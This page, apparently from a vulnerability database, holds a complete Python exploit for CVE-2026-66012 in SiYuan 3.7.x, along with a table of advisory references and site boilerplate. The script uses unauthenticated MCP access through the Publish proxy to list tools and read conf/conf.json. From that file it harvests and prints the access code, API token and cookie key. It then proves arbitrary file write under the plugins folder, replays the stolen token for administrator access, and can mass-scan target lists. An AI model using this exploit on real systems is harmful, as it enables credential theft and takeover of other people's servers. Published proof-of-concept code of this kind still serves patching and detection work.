📄 SiYuan 3.7.1 Authentication Bypass / Arbitrary File Write
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Exploit for CVE-2026-66012 | 26 Jul 202610:45 | – | githubexploit | |
| CVE-2026-66012 | 25 Jul 202610:45 | – | attackerkb | |
| CVE-2026-66012 | 25 Jul 202611:26 | – | circl | |
| CVE-2026-66012 | 25 Jul 202610:45 | – | cve | |
| CVE-2026-66012 SiYuan before v3.7.2 Unauthenticated Administrator Takeover via MCP | 25 Jul 202610:45 | – | cvelist | |
| EUVD-2026-49043 | 25 Jul 202610:45 | – | euvd | |
| CVE-2026-66012 | 25 Jul 202611:17 | – | nvd | |
| PT-2026-64762 | 25 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-66012 SiYuan before v3.7.2 Unauthenticated Administrator Takeover via MCP | 25 Jul 202610:45 | – | vulnrichment |
#!/usr/bin/env python3
"""
CVE-2026-66012 - SiYuan unauthenticated MCP access -> workspace file read/write -> admin takeover
Affected: SiYuan kernel 3.7.0 <= v < 3.7.2 (fixed in 3.7.2)
Type: Auth Bypass (missing authorization, CWE-862) chained to arbitrary file read/write
The kernel registers POST /mcp behind model.CheckAuth only, with no CheckAdminRole and no
CheckReadonly. CheckAuth is a presence check that accepts RoleReader. When the Publish
reverse proxy runs in anonymous mode (Conf.Publish.Enable=true, Conf.Publish.Auth.Enable=false)
it stamps every proxied request with the anonymous RoleReader JWT, so an attacker with no
credentials at all reaches all 31 MCP tools through the Publish port. The `file` tool exposes
list/read/write/delete/rename/copy over the whole workspace, which yields conf/conf.json in
plaintext: accessAuthCode, api.token and cookieKey.
Target the PUBLISH port (default 6808), not the kernel port. Send no credentials: the proxy
overwrites X-Auth-Token with the anonymous JWT, so anything you supply is discarded.
Usage:
python exploit.py --host <target> --port 6808
python exploit.py --host 192.168.1.10 --port 6808 --kernel-port 6806
python exploit.py --host 192.168.1.10 --file data/storage/petal/petals.json
python exploit.py --host https://notes.corp.com:6808/mcp
python exploit.py --host 192.168.1.10 --no-write # read-only, touch nothing
python exploit.py --list targets.txt --workers 20
"""
import argparse
import http.client
import json
import ssl
import sys
import uuid
from urllib.parse import urlparse
CVE_ID = "CVE-2026-66012"
VULN_TYPE = "Auth Bypass"
PROTO_2026 = "2026-07-28" # sessionless MCP path: handlePost2026, no initialize needed
PROTO_CLASSIC = "2025-06-18" # fallback: initialize -> Mcp-Session-Id -> tools/call
CONF_PATH = "conf/conf.json" # workspace-relative, holds the secrets in cleartext
DEFAULT_MCP_PATH = "/mcp"
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ---------------------------------------------------------------- helpers
def _loads(data: bytes):
"""Parse a JSON body. Tolerates SSE framing (`data: {...}`) and returns None on junk."""
if not data:
return None
text = data.decode("utf-8", "replace").strip()
if text.startswith("data:"):
lines = [l[5:].strip() for l in text.splitlines() if l.startswith("data:")]
text = "".join(lines)
try:
return json.loads(text)
except ValueError:
return None
def _get_header(headers: dict, name: str):
low = name.lower()
for k, v in headers.items():
if k.lower() == low:
return v
return None
class MCPClient:
"""Minimal MCP-over-HTTP client. Network I/O only, no credentials ever sent."""
def __init__(self, host, port, use_tls=False, path=DEFAULT_MCP_PATH, timeout=15.0):
self.host = host
self.port = port
self.use_tls = use_tls
self.path = path or DEFAULT_MCP_PATH
self.timeout = timeout
self.session_id = None
self.mode = None # "2026" once the sessionless path is confirmed, else "classic"
self.last_status = None
def _conn(self):
if self.use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return http.client.HTTPSConnection(self.host, self.port, timeout=self.timeout, context=ctx)
return http.client.HTTPConnection(self.host, self.port, timeout=self.timeout)
def _post(self, payload, extra=None):
body = json.dumps(payload).encode()
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
# identity keeps the global gzip middleware from compressing the reply
"Accept-Encoding": "identity",
"Content-Length": str(len(body)),
"User-Agent": UA,
}
if extra:
headers.update(extra)
conn = self._conn()
try:
conn.request("POST", self.path, body=body, headers=headers)
resp = conn.getresponse()
data = resp.read()
self.last_status = resp.status
return resp.status, dict(resp.getheaders()), data
finally:
try:
conn.close()
except Exception:
pass
def _handshake(self):
"""Classic path: initialize, keep the Mcp-Session-Id the server hands back."""
payload = {
"jsonrpc": "2.0", "id": 1, "method": "initialize",
"params": {
"protocolVersion": PROTO_CLASSIC,
"capabilities": {},
"clientInfo": {"name": "mcp-client", "version": "1.0"},
},
}
status, headers, data = self._post(payload)
if status != 200:
return False
sid = _get_header(headers, "Mcp-Session-Id")
if sid:
self.session_id = sid
return True
def rpc(self, method, params=None, rid=1):
"""Issue one JSON-RPC call. Returns (http_status, parsed_json_or_None, raw_bytes)."""
payload = {"jsonrpc": "2.0", "id": rid, "method": method}
if params is not None:
payload["params"] = params
# Preferred: single sessionless request on the 2026-07-28 protocol path.
# Mcp-Method is deliberately omitted (if sent it must equal the body method, else 400).
if self.mode in (None, "2026"):
status, headers, data = self._post(payload, {"MCP-Protocol-Version": PROTO_2026})
if status == 200:
self.mode = "2026"
return status, _loads(data), data
# 401/403 are authorization verdicts, not protocol problems: report them as-is.
if self.mode == "2026" or status in (401, 403):
return status, _loads(data), data
# Fallback: session-based handshake for builds without the 2026 branch.
if self.session_id is None and not self._handshake():
return self.last_status, None, b""
self.mode = "classic"
extra = {"Mcp-Session-Id": self.session_id} if self.session_id else {}
status, headers, data = self._post(payload, extra)
return status, _loads(data), data
def tools_list(self):
status, parsed, raw = self.rpc("tools/list", rid=1)
tools = []
if isinstance(parsed, dict):
tools = (parsed.get("result") or {}).get("tools") or []
return status, tools, raw
def file_tool(self, action, rid=2, **arguments):
"""Call the `file` tool. Returns (http_status, text_or_None, is_error, raw)."""
arguments["action"] = action
status, parsed, raw = self.rpc("tools/call", {"name": "file", "arguments": arguments}, rid=rid)
if not isinstance(parsed, dict):
return status, None, True, raw
result = parsed.get("result")
if not isinstance(result, dict):
return status, None, True, raw
# A failed tool call still returns HTTP 200: isError sits inside result, not as a
# JSON-RPC error member.
is_error = bool(result.get("isError"))
text = None
content = result.get("content")
if isinstance(content, list) and content:
first = content[0]
if isinstance(first, dict):
text = first.get("text")
return status, text, is_error, raw
def read_file(self, path, rid=2):
# limit=-1 defeats the 200-line default truncation in fileRead; conf.json is longer.
return self.file_tool("read", rid=rid, path=path, limit=-1)
def _api_call(host, port, use_tls, endpoint, token=None, timeout=15.0):
"""POST a kernel API endpoint. Used for the privilege-escalation rung on the kernel port."""
body = b"{}"
headers = {
"Content-Type": "application/json",
"Accept-Encoding": "identity",
"Content-Length": str(len(body)),
"User-Agent": UA,
}
if token:
headers["Authorization"] = "Token " + token
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
conn.request("POST", endpoint, body=body, headers=headers)
resp = conn.getresponse()
return resp.status, resp.read()
finally:
try:
conn.close()
except Exception:
pass
def _harvest(conf_text):
"""Pull the three secrets out of a raw conf.json string."""
out = {}
try:
conf = json.loads(conf_text)
except (ValueError, TypeError):
return out
if not isinstance(conf, dict):
return out
if isinstance(conf.get("accessAuthCode"), str):
out["accessAuthCode"] = conf["accessAuthCode"]
if isinstance(conf.get("cookieKey"), str):
out["cookieKey"] = conf["cookieKey"]
api = conf.get("api")
if isinstance(api, dict) and isinstance(api.get("token"), str):
out["token"] = api["token"]
return out
def _excerpt(text, head=900, tail=900):
"""Head+tail view. conf.json buries the secrets past a long `langs` array, so a plain
head-only truncation would cut away the exact evidence the read proves."""
if len(text) <= head + tail:
return text
omitted = len(text) - head - tail
return (text[:head] + f"\n\n...[{omitted} bytes omitted from this display only - "
f"the full {len(text)}-byte file was returned by the server]...\n\n" + text[-tail:])
def _diagnose(status, raw):
"""Turn a non-exploitable response into a one-line reason."""
if status in (401, 403):
return f"blocked - HTTP {status} on /mcp (patched: CheckAdminRole rejects the anonymous RoleReader)"
text = (raw or b"").decode("utf-8", "replace").strip()
if '"code":-1' in text and "Auth" in text:
return "blocked - Publish basic auth is enabled (not anonymous mode)"
snippet = text[:120].replace("\n", " ")
return f"no MCP tool list in response (HTTP {status}) {snippet}".strip()
# ---------------------------------------------------------------- scan mode
def _try_exploit(host, port, use_tls, path=DEFAULT_MCP_PATH, timeout=10.0):
"""Silent probe for --list. Read-only: never writes to the target. Never prints or exits."""
try:
mcp = MCPClient(host, port, use_tls, path, timeout=timeout)
status, tools, raw = mcp.tools_list()
if not tools:
return False, _diagnose(status, raw)
names = [t.get("name") for t in tools if isinstance(t, dict)]
if "file" not in names:
return True, f"{len(tools)} MCP tools exposed unauthenticated, but no `file` tool"
_, text, is_error, _ = mcp.read_file(CONF_PATH)
if is_error or not text:
return True, f"{len(tools)} MCP tools reachable unauthenticated; {CONF_PATH} unreadable"
secrets = _harvest(text)
if not secrets:
return True, f"{len(tools)} MCP tools reachable unauthenticated; read {len(text)} bytes of {CONF_PATH}"
bits = []
if "accessAuthCode" in secrets:
bits.append("accessAuthCode=" + (secrets["accessAuthCode"] or "<empty>"))
if "token" in secrets:
bits.append("api.token=" + secrets["token"])
if "cookieKey" in secrets:
bits.append("cookieKey=" + secrets["cookieKey"])
return True, f"{len(tools)} tools, secrets recovered: " + ", ".join(bits)
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
def _parse_target(line, default_port, default_path=DEFAULT_MCP_PATH):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
ok, evidence = _try_exploit(host, port, use_tls, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ---------------------------------------------------------------- single target
def exploit(host, port, use_tls, path, target_file, kernel_port, do_write, timeout):
header(host, port)
mcp = MCPClient(host, port, use_tls, path, timeout=timeout)
# Rung 1 - unauthenticated reach. No cookie, no Authorization, no credentials of any kind.
step(1, f"POST {path} with no credentials (MCP-Protocol-Version: {PROTO_2026}) - listing tools")
status, tools, raw = mcp.tools_list()
if not tools:
reason = _diagnose(status, raw)
section("SERVER RESPONSE", (raw or b"<empty body>").decode("utf-8", "replace")[:600] or "<empty body>")
done(False, reason)
names = sorted(t.get("name") for t in tools if isinstance(t, dict))
section("EXPOSED MCP TOOLS (unauthenticated)",
f"HTTP {status} | {len(tools)} tools reachable with zero credentials\n" + ", ".join(names))
if "file" not in names:
done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, but no `file` tool")
print(f" -> `file` tool present (list/read/write/delete/rename/copy over the whole workspace)\n")
# Rung 2 - arbitrary workspace read.
step(2, f"Reading `{target_file}` through the file tool (limit=-1 defeats the 200-line default)")
status, text, is_error, raw = mcp.read_file(target_file, rid=2)
if is_error or text is None:
section("TOOL RESPONSE", (raw or b"").decode("utf-8", "replace")[:600] or "<empty body>")
done(True, f"Missing authorization confirmed - {len(tools)} MCP tools exposed unauthenticated, "
f"but `{target_file}` could not be read")
section(f"FILE CONTENT ({target_file}) - {len(text)} bytes", _excerpt(text))
# Credential harvest. conf/conf.json is where the secrets live; if the operator pointed
# --file elsewhere, fetch it separately so the escalation rung stays available.
secrets = _harvest(text)
if not secrets and target_file != CONF_PATH:
step(3, f"Harvesting credentials from `{CONF_PATH}`")
_, conf_text, conf_err, _ = mcp.read_file(CONF_PATH, rid=3)
if not conf_err and conf_text:
secrets = _harvest(conf_text)
section(f"CREDENTIAL FILE ({CONF_PATH}) - {len(conf_text)} bytes", _excerpt(conf_text, 600, 900))
if secrets:
lines = []
if "accessAuthCode" in secrets:
lines.append(f"accessAuthCode : {secrets['accessAuthCode'] or '<empty>'} (instance lock-screen password, plaintext on disk)")
if "token" in secrets:
lines.append(f"api.token : {secrets['token']} (maps to RoleAdministrator in CheckAuth)")
if "cookieKey" in secrets:
lines.append(f"cookieKey : {secrets['cookieKey']} (HMAC key for session cookies - offline admin cookie forgery)")
section("STOLEN CREDENTIALS", "\n".join(lines))
# Rung 4 - arbitrary workspace write, proven by a byte-for-byte round trip.
write_ok = False
marker_dir = None
if do_write:
marker = "alim-" + uuid.uuid4().hex[:10]
marker_dir = "data/plugins/" + marker
marker_path = marker_dir + "/index.js"
payload = f"// {CVE_ID} write-primitive proof - inert marker {marker}"
step(4, f"Writing `{marker_path}` (the real plugin-planting location), then reading it back")
_, wtext, werr, wraw = mcp.file_tool("write", rid=4, path=marker_path, data=payload)
if werr:
section("WRITE RESPONSE", (wraw or b"").decode("utf-8", "replace")[:400])
else:
_, back, berr, _ = mcp.read_file(marker_path, rid=5)
write_ok = (not berr) and back is not None and back.strip() == payload.strip()
section("WRITE ROUND TRIP",
f"server said : {wtext}\n"
f"wrote : {payload}\n"
f"read back : {back}\n"
f"identical : {write_ok}")
# Clean up our own marker only. Never delete data/, conf/ or repo/.
_, dtext, derr, _ = mcp.file_tool("delete", rid=6, path=marker_dir)
print(f" -> cleanup: {'deleted ' + marker_dir if not derr else 'FAILED to delete ' + marker_dir}\n")
else:
step(4, "Write proof skipped (--no-write): target left untouched")
# Rung 3 - the stolen api.token is Administrator, but only on the kernel port. Through the
# Publish proxy the anonymous RoleReader JWT overwrites X-Auth-Token, so we must go direct.
admin_ok = False
token = secrets.get("token")
if token and kernel_port:
step(5, f"Escalating: replaying the stolen api.token against the kernel port {kernel_port} (/api/system/getConf)")
try:
a_status, a_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=token, timeout=timeout)
n_status, n_body = _api_call(host, kernel_port, use_tls, "/api/system/getConf", token=None, timeout=timeout)
a_text = a_body.decode("utf-8", "replace")
n_text = n_body.decode("utf-8", "replace")
admin_ok = a_status == 200 and '"code":0' in a_text
section("ADMINISTRATOR API ACCESS (kernel port)",
f"with stolen token : HTTP {a_status} {a_text[:220]}\n"
f"without token : HTTP {n_status} {n_text[:220]}")
except Exception as e:
section("ADMINISTRATOR API ACCESS (kernel port)",
f"kernel port {kernel_port} not reachable from here ({e.__class__.__name__}) - "
f"escalation rung not demonstrated, the stolen token remains valid against it")
elif not token:
step(5, "Escalation skipped: no api.token recovered")
# Verdict, strongest primitive first.
parts = [f"{len(tools)} MCP tools reachable with zero credentials"]
if "accessAuthCode" in secrets:
parts.append(f"accessAuthCode='{secrets['accessAuthCode']}'")
if "token" in secrets:
parts.append(f"api.token='{secrets['token']}'")
if "cookieKey" in secrets:
parts.append(f"cookieKey='{secrets['cookieKey']}'")
if write_ok:
parts.append("arbitrary workspace write round-tripped under data/plugins/")
if admin_ok:
parts.append("stolen token accepted as Administrator on the kernel API (code:0)")
done(True, "Unauthenticated MCP access - " + "; ".join(parts))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:6808/mcp)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=6808,
help="Publish proxy port - the unauthenticated one (default: 6808)")
parser.add_argument("--file", default=CONF_PATH,
help=f"Workspace-relative file to read (default: {CONF_PATH})")
parser.add_argument("--kernel-port", type=int, default=6806,
help="Kernel API port for the privilege-escalation rung (default: 6806, 0 to skip)")
parser.add_argument("--no-write", action="store_true",
help="Skip the write-primitive proof and leave the target untouched")
parser.add_argument("--timeout", type=float, default=15.0, help="Socket timeout in seconds (default: 15)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, DEFAULT_MCP_PATH)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.file, args.kernel_port, not args.no_write, args.timeout)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Aug 2026 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 410
CVSS 3.110
EPSS0.00437
SSVC